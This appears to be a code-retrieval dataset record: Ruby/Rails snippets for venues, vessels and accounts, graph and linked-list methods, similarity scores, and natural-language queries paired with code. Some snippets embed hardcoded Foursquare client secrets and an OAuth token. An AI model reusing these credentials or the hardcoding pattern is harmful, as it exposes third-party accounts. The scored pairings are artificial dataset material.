"def show\n @vessel = Vessel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vessel }\n end\n end",
"def my_venues\n @venues = \n if admin_session?\n User.find_by_uuid(params[:for_user]).try(:owned_venues)\n else\n current_user.owned_venues\n end\n @venues ||= []\n respond_to do |format|\n format.json {\n @venues = [Venue.new(:name => 'TBD')] + @venues\n @venues += [Venue.new(:name => VenuesHelper::ADD_NEW_VENUE_PROMPT)] if params[:add_new]\n render :json => @venues.map {|v| {:value => v.uuid, :text => v.name}}\n }\n format.html\n end\n end",
"def venuehistory(id = 'self', options = {})\n get(\"users/#{id}/venuehistory\", options).venues\n end",
"def load_venues\r\n @venues = Venue.find(:all, \r\n :conditions => [ \"user_id = ?\", session[:user_id]])\r\n end",
"def id\n\t\t\t\treturn self.venue['id'].to_i\n\t\t\tend",
"def show\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vet }\n end\n end",
"def set_venue\n @venue = Venue.friendly.find(params[:id]).decorate\n end",
"def set_venue\n @venue = Venue.includes(:seats).find(params[:id])\n end",
"def show\n @vendedor = Vendedor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vendedor }\n end\n end",
"def search(venue, options={})\n get(:standard, {:method => \"venue.search\", :venue => venue}.merge(options))\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n #format.html # show.html.erb\n format.json { render :json => @venue.to_json(:except=>[:display, :user_id, :modified_user_id]), :callback=>params[:callback] }\n end\n end",
"def venue_events venue_id\n response = get(\"/venues/#{venue_id}/events\")[\"response\"]\n @events = response[\"events\"]\n @events[\"items\"].map!{|item| Foursquared::Response::Event.new(self, item)}\n @events\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def events_at_venue(venue)\n venue_events[venue.id]\n end",
"def show\n @vendedor = Vendedor.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vendedor }\n end\n end",
"def venue_name\n venue.name if venue\n end",
"def similar_venues(id)\n get(\"venues/#{id}/similar\").similarVenues\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venues }\n end\n end",
"def venue_hours(id)\n get(\"venues/#{id}/hours\").hours\n end",
"def show\n begin\n @vehicle = Vehicle.find_by_id(params[:id])\n rescue ActiveRecord::RecordNotFound\n render_404\n end\n end",
"def new\n @offer = Offer.new\n if can? :manage, @offer\n @venue_names = current_user.venues.pluck(:venue_name)\n #@venue_names = current_user.venues.select('venues.id, venue_name')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n else\n redirect_to offers_path\n end\n end",
"def get_recommended_venues\n uri = \"https://api.foursquare.com/v2/venues/explore?near=#{@location}&client_id=#{CLIENT_ID}&client_secret=#{CLIENT_SECRET}&v=#{Time.now.strftime(\"%Y%m%d\")}&categoryId=4d4b7105d754a06374d81259\"\n encoded = URI.parse(URI.encode(uri)) # to handle spaces in the location\n @api_response = HTTParty.get(encoded)\n @api_response['response']['groups'][0][\"items\"].each do |item|\n @recommended_venues << item[\"venue\"][\"name\"]\n end\n # puts encoded # uncomment this to see the uri that is being used in the HTTP get request\n @recommended_venues\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, :notice => 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @vendes = Vende.find([params[:id1], params[:id2], params[:id3]])\n end",
"def index\n \tif\n params[:search].present?\n client = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK', :api_version => '20140201')\n \n #results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n results = client.search_venues(:near => params[:location], :query => params[:search])\n\t\n @venues = results.venues\n\n @venues.each do |venue|\n Venue.where({\n name: venue.name,\n address: venue.location.address,\n venue_id: venue.id,\n city: venue.location.city,\n state: venue.location.state,\n lat: venue.location.lat,\n long: venue.location.lng,\n }).first_or_create\n end\n\n else\n\tclient = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK',:api_version => '20140201')\n \n results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n @venues = results.venues\n\n\nend\n\n\n #else\n # @restrooms = Restroom.all\n # end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restrooms }\n end\n end",
"def new\n @venue = Venue.new\n @venue.user_id = current_user.id\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def show\n @verbo = Verbo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verbo }\n end\n end",
"def show\n @audio_clip = AudioClip.find(params[:id])\n \n # @client = Foursquare2::Client.new(:client_id => 'MLGORRLYKVWVSEMAKWHQURQVIEAZEJ5PSESSRER3VK4XBHRL', :client_secret => 'JT11S30HAAOSMQYEA2CU3QQXB1DEPK5ESQTIM0CUFM1UB2NB')\n # @audio_clip.fsvenue = @client.search_venues(:ll => '36.142064,-86.816086')\n unless @audio_clip.latitude.blank? || @audio_clip.longitude.blank?\n @fsquare_response = open(\"https://api.foursquare.com/v2/venues/search?ll=#{@audio_clip.latitude},#{@audio_clip.longitude}&llAcc=100&limit=1&oauth_token=FNUK2E0Z5BI33J0BRQBR3FZWBBYEUSY4LAX1WE1NPAQDDIHT&v=20130203\").read\n @result = ActiveSupport::JSON.decode(@fsquare_response)\n @venue = @result[\"response\"][\"venues\"][0][\"name\"]\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @audio_clip }\n \n # format.json { render :json => @audio_clip.to_json(:include => [:facebook_id])}\n end\n end",
"def search_by_venue(venueID)\n all.select do |event| \n event.venue == venueID\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def retrieve(id)\n @client.make_request(:get, \"insurances/#{id}\", MODEL_CLASS)\n end",
"def getVenueOrResolve\n begin\n venue = client.venue(venueId)\n\n if primary_id_changed?(venue)\n self.status = 'alternate resolution'\n self.resolved_details = '(merged)'\n save\n\n return true\n end\n\n if is_closed?(venue)\n self.status = 'alternate resolution'\n self.resolved_details = '(closed)'\n self.save\n return true\n end\n\n return venue\n rescue Foursquare2::APIError => e\n if e.message =~ /has been deleted/ or e.message =~ /is invalid for venue id/\n self.status = 'alternate resolution'\n self.resolved_details = '(deleted)'\n self.save\n return true\n else\n raise e\n end\n end\n end",
"def find(user_id, query)\n venues = nil\n VCR.use_cassette('video', :match_requests_on => [:method]) do\n venues = @foursquare_proxy.search_venues(query)\n end\n parse_results(venues)\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to [:manage, @venue], :notice => 'Venue was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def propose_venue_edit venue_id, options={}\n response = post(\"/venues/#{venue_id}\", options)\n end"
] |
[
"0.88087016",
"0.87964976",
"0.8481945",
"0.7645665",
"0.750519",
"0.7464382",
"0.73194623",
"0.7228529",
"0.7223211",
"0.7198148",
"0.7172391",
"0.7157408",
"0.7029044",
"0.6990767",
"0.6959182",
"0.6816427",
"0.68115366",
"0.67954344",
"0.67954344",
"0.67954344",
"0.67954344",
"0.67256284",
"0.6717693",
"0.6710237",
"0.6687916",
"0.6687565",
"0.6687565",
"0.6687565",
"0.6687565",
"0.6687565",
"0.6676227",
"0.6676227",
"0.6663252",
"0.66414195",
"0.6639404",
"0.66322416",
"0.659482",
"0.6569051",
"0.6569051",
"0.6520786",
"0.64917874",
"0.64917874",
"0.6490512",
"0.6464405",
"0.6458012",
"0.6453354",
"0.6441999",
"0.6441638",
"0.6432769",
"0.6426766",
"0.64022964",
"0.639497",
"0.6369068",
"0.6369068",
"0.6369068",
"0.6369068",
"0.6304338",
"0.62812585",
"0.6270661",
"0.6260692",
"0.6244939",
"0.6224791",
"0.6224727",
"0.62234926",
"0.6219982",
"0.62167627",
"0.621563",
"0.6205689",
"0.62018734",
"0.6200462",
"0.6196034",
"0.6195277",
"0.6195277",
"0.6195277",
"0.61754584",
"0.61748976",
"0.61709803",
"0.6156663",
"0.61503553",
"0.61459744",
"0.6133429",
"0.612992",
"0.6124877",
"0.61162716",
"0.61138874",
"0.61084634",
"0.6108017",
"0.610697",
"0.6103337",
"0.6100315",
"0.6087691",
"0.6087691",
"0.6081757",
"0.6077847",
"0.6074832",
"0.60721064",
"0.60721064",
"0.60721064",
"0.60674965",
"0.6065602"
] |
0.77446586
|
3
|
add node to adjacent nodes
|
def add_edge(from, to)
from.adjacents << to
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_node(node); end",
"def add_adjacent(node)\n\t\t@adjacent << node unless node == nil\n\tend",
"def add_node(n)\n @nodes.push n unless @nodes.include? n\n end",
"def add_vertice(node, next_node)\n return node.contains?(next_node)\n node.add_node(next_node)\n end",
"def add_next_sibling(node_or_tags); end",
"def add_to_neighbors(node)\n @neighbors << node\n end",
"def add_node(node)\n @nodes.add node\n end",
"def add_edge(node_a, node_b)\n node_a.adjacents << node_b\n node_b.adjacents << node_a\n end",
"def append(node)\n if next_node\n next_node.append(node)\n else\n next_node = node\n end\n end",
"def insert_node_between(a, b, new_one)\n a.next = new_one\n new_one.prev = a\n new_one.next = b\n b.prev = new_one\n @length += 1\n end",
"def add_node(node)\n node.prev = head\n node.next = head.next\n\n head.next.prev = node\n head.next = node\n end",
"def add_edge(element1, element2)\n index1 = self.dict[element1]\n index2 = self.dict[element2]\n raise Exception.new(\"Nodes not exist!\") unless index1 && index2\n\n head_node2 = self.adj_list_array[index2].head_node\n new_node1 = Node.new(element1, head_node2.next_node)\n head_node2.next_node = new_node1\n\n\n head_node1 = self.adj_list_array[index1].head_node\n new_node2 = Node.new(element2, head_node1.next_node)\n head_node1.next_node = new_node2\n\n self\n end",
"def add_node(new_node)\n @nodes[new_node] ||= Array.new #only adds if not in graph\n @node_dir_ancestors[new_node] ||= Array.new\n end",
"def add_edge(nodeA, nodeB)\n nodeA.adjacents << nodeB\n nodeB.adjacents << nodeA\n\n @nodes << nodeA\n @nodes << nodeB\n end",
"def add_node(node)\n\t\t\tunless has_node?(node)\n\t\t\t\t@nodes[node] = new_node(node)\n\t\t\t\t@order += 1\n\t\t\tend\n\t\t\tself\n\t\tend",
"def add_edge(from_node, to_node)\n add_node(from_node)\n add_node(to_node)\n @nodes[from_node] << to_node\n @node_dir_ancestors[to_node] << from_node\n\n if self.has_cycle\n puts \"No longer DAG\"\n end\n end",
"def add_edge(node)\n @adj_nodes.push(node.position)\n end",
"def add(node)\r\n @nodes << node\r\n end",
"def add_adjacency(n1, n2)\n n1.adjacents << n2\n n2.adjacents << n1\n end",
"def add_node(node)\n nodes[node.value] = node\n end",
"def node_insert_after!(x, prev, level)\n netx = node_next(prev, level) # 'next' is a reserved word in ruby\n \n # forward links\n x[0][level] = netx\n prev[0][level] = x\n \n # backward links\n x[3][level] = prev\n netx[3][level] = x\n end",
"def add_edge(a,b)\n @adj_list[a][b] = 1\n end",
"def add_node( node )\n super( node )\n __add_node__( node )\n end",
"def add_edge(node, weight)\n @adjacent_nodes[node.value] = { weight: weight, node: node }\n self\n end",
"def push_after(node, new_node)\n new_node.previous_node = node\n new_node.next_node = node.next_node\n node.next_node = new_node\n end",
"def add(val)\n get_node(val) #every new element that has to be added should point to a new node correponding to it.\n list_size = @elements.size\n last_element_index = list_size - 1\n @elements[last_element_index].next_node = list_size\n new_element_index = list_size\n @elements[new_element_index] = @node\n end",
"def addNode(node)\r\n\t\tif @nodes.nil?\r\n\t\t\t@nodes = [node]\r\n\t\telse\r\n\t\t\t@nodes << node\r\n\t\tend\r\n\tend",
"def add(node)\n raise 'Node must be persisted!' unless node.persisted?\n # Traverse to the end\n last_link = nil\n each_link do |link|\n last_link = link\n end\n # Create a new link\n # If there is no last node, make the link the head\n # Otherwise, throw the link at the end\n link = Likewise::Node.create :ref_id => node.id\n if last_link.nil?\n self[:head_id] = link.id\n else\n last_link[:next_id] = link.id\n end\n # Increment our length, which is memoized\n element_added!\n end",
"def add_previous_sibling(node_or_tags); end",
"def add_to_tree(s, node)\n head, *tail = s\n # check whether an edge is in the node with for the head element\n edge = node.find_edge(head)\n if (edge.nil?)\n edge = Edge.new(head)\n node.add_edge(edge)\n end\n if (!tail.empty?) then add_to_tree(tail, edge.node) end\n end",
"def add_node(n1)\n raise ArgumentError, \"Duplicate node name #{n1.name}\" if @nodes.find_index(n1)\n @nodes << n1\n @incident_map[n1] = []\n end",
"def insertAfter(node, new_node)\n end",
"def addNodeAtPos(xml, toAdd, nodeOver)\n\n size = xml[\"childCount\"].to_i\n if(xml[\"nodeName\"] == nodeOver)\n\n xml[\"childCount\"] = size+1\n xml[size] = toAdd\n return\n end\n for j in 0..size\n\n values = xml[j]\n if(values[\"nodeName\"] == nodeOver)\n addNodeAtPos(values, toAdd, nodeOver)\n break\n else\n\n countVals = values[\"childCount\"].to_i\n for k in 0..countVals\n addNodeAtPos(values[k], toAdd,nodeOver)\n end\n end\n end\n end",
"def add_edge(source_vertex, destination_vertex)\n @adjacent_list[source_vertex].push(destination_vertex)\n @indegree[destination_vertex] += 1\n end",
"def insert_at(node, index)\n target = self.at(index)\n target_prev = target.prev\n set_next_and_prev(target_prev, node)\n set_next_and_prev(node, target)\n self.size += 1\n end",
"def add_node(node)\n @nodes[node.uri] ||= node\n end",
"def add_edge!(from, to)\n protected_add_edge!(from, to)\n @edge_number += 1\n end",
"def <<(node); add(node); end",
"def append(node)\n nxt = @nxt\n top = self\n while nxt\n top = nxt\n nxt = nxt.nxt\n end\n node = node.first\n top.nxt = node\n node.prv = top\n node\n end",
"def append(value)\n new_node = Node.new(value)\n node = @node\n\n while node.next\n node = node.next\n end\n\n node.next = new_node\n end",
"def add_edge(node1, node2, weight)\n nodes[node1.value].add_edge(nodes[node2.value], weight)\n nodes[node2.value].add_edge(nodes[node1.value], weight)\n self\n end",
"def neigbour_helper(current_node, x, y)\n new_x = current_node.value[0] + x\n new_y = current_node.value[1] + y\n new_node = Node.new(new_x, new_y)\n current_node.neighbour_nodes << new_node if valid?(new_node)\n end",
"def add_edge(object_1, object_2)\n node_1 = check_object(object_1)\n node_2 = check_object(object_2)\n node_1.adjacents << node_2\n node_2.adjacents << node_1\n end",
"def insert_after( node, value )\n # Find the specified node, and add a new node\n # with the given value between that found node\n # and the next\n\n end",
"def connect edge\n self.add edge.src\n self.add edge.dst\n @nodes[edge.src] << edge\n edge\n end",
"def addOtherEdge (node, dist)\n\t\t@edges.push([node, dist])\n\tend",
"def insert(idx, node)\n if idx.zero?\n add_first(node)\n return\n end\n\n iterate do |curr_node, count|\n if count == idx - 1\n old_next = curr_node.next_node\n curr_node.next_node = node\n node.next_node = old_next\n old_next.prev_node = node unless old_next.nil?\n node.prev_node = curr_node\n\n return\n end\n end\n end",
"def add_node(value)\n if @head\n @head = Node.new value, @head\n else\n @head = Node.new value, nil\n end\n end",
"def add(value)\n current_node = @head\n while current_node.next != nil\n current_node = current_node.next\n end\n current_node.next = Node.new(value, nil)\n end",
"def add_node(data)\n\n\t\t# change tactics if we're adding the first node\n\t\tif @head.nil?\n\n\t\t\tadd_first_node(data)\n\n\t\telse\n\n\t\t\tnew_node = Node.new(data)\n\n\t\t\t# point the last node to our new one\n\t\t\t@last.next = new_node\n\n\t\t\t# set our new node as the official last node\n\t\t\t@last = new_node\n\n\t\tend\n\t\tputs \"Added node with the value: #{data}\"\n\tend",
"def append( value )\n last.next = Node.new value\n end",
"def move_node!(tg,tga,i)\n #first just add node i in\n tga[0].each_index do |ii|\n if (i == tga[0][ii][0])\n tg[0].push(tga[0][ii])\n tga[0][ii] = nil\n break\n end\n end\n #then add the edges, only add edges for which both nodes exist in tg \n tga[1].each_index do |ii|\n if tg[0].index{|item| item[0] == tga[1][ii][0]} && tg[0].index{|item| item[0] == tga[1][ii][1]}\n tg[1].push(tga[1][ii])\n tga[1][ii] = nil\n end\n end\n tga[0].compact!\n tga[1].compact!\nend",
"def add_node(value, node=nil)\n new_node = Node.new(value)\n if node\n new_node.parent = node\n node.children << new_node\n else\n @head = new_node\n end\n end",
"def add(e, node = @head)\n if node.value == nil\n node.value = e\n node.lchild = Node.new\n node.rchild = Node.new\n @size += 1\n elsif node.value > e\n add e, node.lchild\n elsif node.value < e\n add e, node.rchild\n end\n return self\n end",
"def add_edge(predecessor_uri, successor_uri)\n @nodes[predecessor_uri].add_edge(@nodes[successor_uri])\n end",
"def add(*nodes)\n @nodes.push(*nodes)\n end",
"def insert_next prev_node, data\n\t\tnew_node = Node.new data\n\t\tif self.length == 0\n\t\t\tself.head = new_node.next = new_node\n\t\telse\n\t\t\tnew_node.next = prev_node.next\n\t\t\tprev_node.next = new_node\n\t\tend\n self.length += 1\n \n new_node\n\tend",
"def add_siblings_to(node, rpr_tag = T.unsafe(nil)); end",
"def add_edge(src, dest, weight)\n @v << src if !@v.include?(src)\n @v << dest if !@v.include?(dest)\n new_edge = Edge.new(src,dest, weight)\n src.out_edges << new_edge\n dest.in_edges << new_edge\n @e << new_edge\n end",
"def insert(node)\n\t\t#this is how you link the nodes together\n\t\t@tail.pointer = node\n\t\t#the tail is now equal to the last node that was entered into the linked list\n\t\t@tail = @tail.pointer\n\tend",
"def add_node(node)\n @nodes[node.id.to_i] = node\n node.db = self\n end",
"def insert_after(value)\n node = Node(value)\n @next = node\n node\n end",
"def insert_after prev_node, new_data\n # 1. check if the given prev_node exists\n if prev_node == nil\n puts \"the given previous node cannot be NULL\"\n end\n # 2. Create new node\n # 3. Put in the data\n new_node = Node.new(new_data)\n # 4. Make next of new Node as next of prev_node\n new_node.next_node = prev_node.next_node\n # 5. make next of prev_node as new_node\n prev_node.next_node = new_node\n # 6. Make prev_node ass previous of new_node\n new_node.prev_node = prev_node\n # 7. Change previous of new_nodes's next node\n if new_node.next_node != nil\n new_node.next_node.prev_node = new_node\n end\n end",
"def append(value)\n if @size == 0\n @head = Node.new(value)\n else\n node = @head\n node = node.link until node.link.nil?\n node.link = Node.new(value)\n end\n\n @size += 1\n end",
"def add(value)\n\t\tif @head != nil \n\t\t\tcurrent = @head\n\t\t\twhile current.nnode != nil\n\t\t\t\tcurrent = current.nnode\n\t\t\tend\n\t\t\tcurrent.nnode = Node.new(value, nil)\n\t\telse\n\t\t\t@head = Node.new(value,nil)\n\t\tend\n\tend",
"def add_nodes(*nodes)\n @nodes.merge nodes\n end",
"def attach(head, node)\n if head.next_node == nil\n head.next_node = node\n else\n #keep going\n attach(head.next_node, node)\n end\n end",
"def append\n new_node = Node.new\n\n if @head.nil? #aka empty list (no nodes)\n @head = new_node\n @tail = new_node\n @head.next_node = @tail\n @tail.next_node = nil #problem alert\n else\n @tail.next_node = new_node\n @tail = new_node\n @tail.next_node = nil #problem alert\n end\n end",
"def add_to_tail(node)\n @head ||= node\n\n @tail.next = node if @tail\n @tail = node\n end",
"def insert_after( node, value )\n # Find the specified node, and add a new node\n # with the given value between that found node\n # and the next\n node = find node\n node_after = node.next\n node_inserted = Node.new value\n node.next = node_inserted\n node_inserted.next = node_after\n node_inserted\n end",
"def append(value)\n #needs .last method\n #self.last\n last.next = Node.new(value)\n end",
"def ll_append(data)\n new_node = Node.new(data)\n \n if @num_nodes == 0\n @head = new_node\n @tail = new_node\n else\n end_node = @tail\n end_node.set_Next(new_node)\n @tail = new_node\n end\n \n @num_nodes += 1\n end",
"def append(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n last_node = traverse_nodes(@head)\n # require 'pry'; binding.pry\n last_node.next_node = new_node\n end\n end",
"def insert_edge(new_edge_val, node_from_val, node_to_val)\n nodes = { node_from_val => nil, node_to_val => nil }\n @nodes.each do |node|\n next unless nodes.include?(node.value)\n nodes[node.value] = node\n break if nodes.all? { |_node_val, node_obj| node_obj }\n end\n nodes.each do |node_val, _node_obj|\n nodes[node_val] = nodes[node_val] || insert_node(node_val)\n end\n node_from = nodes[node_from_val]\n node_to = nodes[node_to_val]\n new_edge = Edge.new(new_edge_val, node_from, node_to)\n node_from.edges << new_edge\n node_to.edges << new_edge\n @edges << new_edge\n new_edge\n end",
"def add_edge(source, target, weight = 1)\r\n\t\tself.push source unless self.include?(source)\r\n\t\tself.push target unless self.include?(target)\r\n\t\t@edges.push Edge.new(source, target, weight)\r\n\tend",
"def add_node(current_node, v)\n left = current_node.left if current_node.left\n right = current_node.right if current_node.right\n current_node.left = TreeNode.new(v)\n current_node.right = TreeNode.new(v)\n current_node.left.left = left\n current_node.right.right = right\nend",
"def add_child(node)\n node.build\n nodes << node\n end",
"def add_edge(x, y) # from x to y\n if @nodes.key?(x) and @nodes.key?(y)\n if @edges.key?(x)\n unless @edges[x].include?(y)\n @edges[x] << y\n end\n end\n if @back_edges.key?(y)\n unless @back_edges[y].include?(x)\n @back_edges[y] << x\n end\n end\n else\n raise RuntimeError.new \"#{x} and #{y} not both present\"\n end\n end",
"def insert_next prev_node, data\n\t\tnew_node = Node.new data\n\t\tif self.length == 0\n\t\t\tself.head = new_node.next = new_node\n\t\telse\n\t\t\tnew_node.next = prev_node.next\n\t\t\tprev_node.next = new_node\n\t\tend\n\t\tself.length += 1\n self.hash[data] = new_node\n new_node\n\tend",
"def add_node(object)\n if is_node?(object)\n node = object\n @nodes << object\n else\n node = Node.new(object)\n @nodes << node\n end\n\n node\n end",
"def insert_at(value, index)\n prev = self.at(index - 1)\n next_node = prev.next_node\n prev.next_node = Node.new(value, next_node)\n end",
"def insert(node, &block); end",
"def insert(node, &block); end",
"def connect_nodes(node1, node2)\n # node1.connect(node2)\n end",
"def add_to_tail(node)\n if @head == nil # no head exist, so we need to create one\n @head = node\n @tail = @head # both head and tail are same (e.g. n1)\n else\n @tail.next = node # set the pointer (e.g. n1 points to n2)\n @tail = node # then set the new tail value to n2\n end\n end",
"def add_sibling(other)\n if self.next_sibling\n old_sibling = self.next_sibling\n old_sibling.link(:previous_sibling, other)\n other.link(:next_sibling, old_sibling)\n end\n self.link(:next_sibling, other)\n other.link(:previous_sibling, self)\n end",
"def add(info)\n\t\t_new = Node.new(info, previous: @tail)\n\t\tif @head.nil?\n\t\t\t@head = _new\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@tail.next = _new\n\t\t\t@tail = _new\n\t\tend\n\t\t@length += 1\n\t\tself\n\tend",
"def nodes\n left_nodes + [self] + right_nodes\n end",
"def link_nodes(child, parent)\n # link the child's siblings\n child.left.right = child.right\n child.right.left = child.left\n \n child.parent = parent\n \n # if parent doesn't have children, make new child its only child\n if parent.child.nil?\n parent.child = child.right = child.left = child\n else # otherwise insert new child into parent's children list\n current_child = parent.child\n child.left = current_child\n child.right = current_child.right\n current_child.right.left = child\n current_child.right = child\n end\n parent.degree += 1\n child.marked = false\n end",
"def add_node(node)\n if node.respond_to?(:to_sym)\n node = Woodhouse::Layout::Node.new(node.to_sym) \n end\n expect_arg :node, Woodhouse::Layout::Node, node\n @nodes << node\n node\n end",
"def test_append_additional_node\n list = LinkedList.new\n\n list.append(\"Rhodes\", {\"pounds of food\" => 200})\n list.append(\"Hardy\", {\"pounds of food\" => 200})\n\n assert_instance_of Node, list.head.next_node\n end",
"def add_node(data)\n if @head.nil?\n add_first_node(data)\n else\n new_node = Node.new(data, nil)\n @tail.next = new_node\n @tail = new_node\n end\n # puts \"Added node with value: #{data}\"\n end",
"def insertVertice(node, distance, predecessor)\n\t\t@graph << @vertice.new(node, distance, predecessor)\n\tend",
"def add_edge(left, right)\n left.blocked_by(right)\n right.blocking(left)\n \n @edges << [left, right]\n end",
"def node_alt(node, this, nxt)\n\n # Create an edge between this and next for each child\n node.children.each do |child|\n process_node(child, this, nxt)\n end\n end",
"def add_node node\n nodes << node\n node.scene = self\n end",
"def add(value)\n new_node = Node.new(value)\n if last\n last.next = new_node\n else\n self.first = new_node\n end\n\n return new_node\n end",
"def insert(node)\n @prv.nxt = node.first if @prv\n node.first.prv = @prv\n node.last.nxt = self\n node\n end",
"def append\n if @size == 0\n @head = Node.new\n @tail = @head\n elsif @size == 1\n new_node = Node.new\n @head.next_node = new_node\n @tail = new_node\n else\n new_node = Node.new\n search_node = @tail\n search_node.next_node = new_node\n @tail = new_node\n end\n\n @size += 1\n @tail\n end",
"def concat(nodes); end"
] |
[
"0.7719516",
"0.7534212",
"0.74344546",
"0.7378509",
"0.7267463",
"0.72057813",
"0.71330756",
"0.70928305",
"0.70699865",
"0.7009737",
"0.69945514",
"0.6992224",
"0.6985715",
"0.693611",
"0.6935762",
"0.6831133",
"0.6818299",
"0.6800331",
"0.6799736",
"0.6788778",
"0.67590433",
"0.6741271",
"0.67293406",
"0.67227936",
"0.6692604",
"0.66637194",
"0.66496694",
"0.6622548",
"0.6621872",
"0.66020983",
"0.65829545",
"0.6576723",
"0.6575865",
"0.65758246",
"0.6555238",
"0.65476465",
"0.65454805",
"0.65405715",
"0.6515962",
"0.6502639",
"0.6493543",
"0.64901423",
"0.64777213",
"0.64732856",
"0.6457731",
"0.64539814",
"0.6426679",
"0.6407821",
"0.6403246",
"0.6387175",
"0.6376359",
"0.6363117",
"0.6351504",
"0.6343162",
"0.63383883",
"0.6335723",
"0.6328855",
"0.6325999",
"0.63241935",
"0.63205844",
"0.6310593",
"0.6309111",
"0.6304695",
"0.62936383",
"0.6290492",
"0.6277808",
"0.6270854",
"0.6270133",
"0.62650424",
"0.6257144",
"0.62561077",
"0.6242908",
"0.6241266",
"0.62405497",
"0.6238591",
"0.6238225",
"0.62327456",
"0.6231038",
"0.6220164",
"0.6213672",
"0.6209485",
"0.6201612",
"0.6201612",
"0.61996573",
"0.6184877",
"0.6184032",
"0.61833984",
"0.6179715",
"0.61794543",
"0.61779183",
"0.6171745",
"0.61701155",
"0.61696136",
"0.616951",
"0.61690456",
"0.6164885",
"0.6160369",
"0.61576235",
"0.6156432",
"0.61429656"
] |
0.6874084
|
15
|
GET /bands/newacct a band must make a user account first
|
def newacct
@user = User.new
@user.user_type="m"
return @user
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @account = BlackberryAccount.new(params[:blackberry_account])\n current_user.person.blackberry_accounts << @account\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to( accounts_path, :notice => 'Account was successfully created.') }\n format.json { render :json => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_account(name)\n account(name)\n end",
"def new\n @help = \"New Buckets\"\n @abucket = Abucket.new\n @unassigned_buckets = []\n current_user.buckets.each do |bucket|\n if !@account.abuckets.find_by_name(bucket.name)\n @unassigned_buckets << bucket\n end\n end\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abucket }\n end\n end",
"def new\n @account = current_user.accounts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @user = User.find_by_id(current_user.id)\n @group = Group.find_by_id(@user.currentgroupid)\n @account = Account.new\n \n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def new\n @account = current_user.accounts.new\n end",
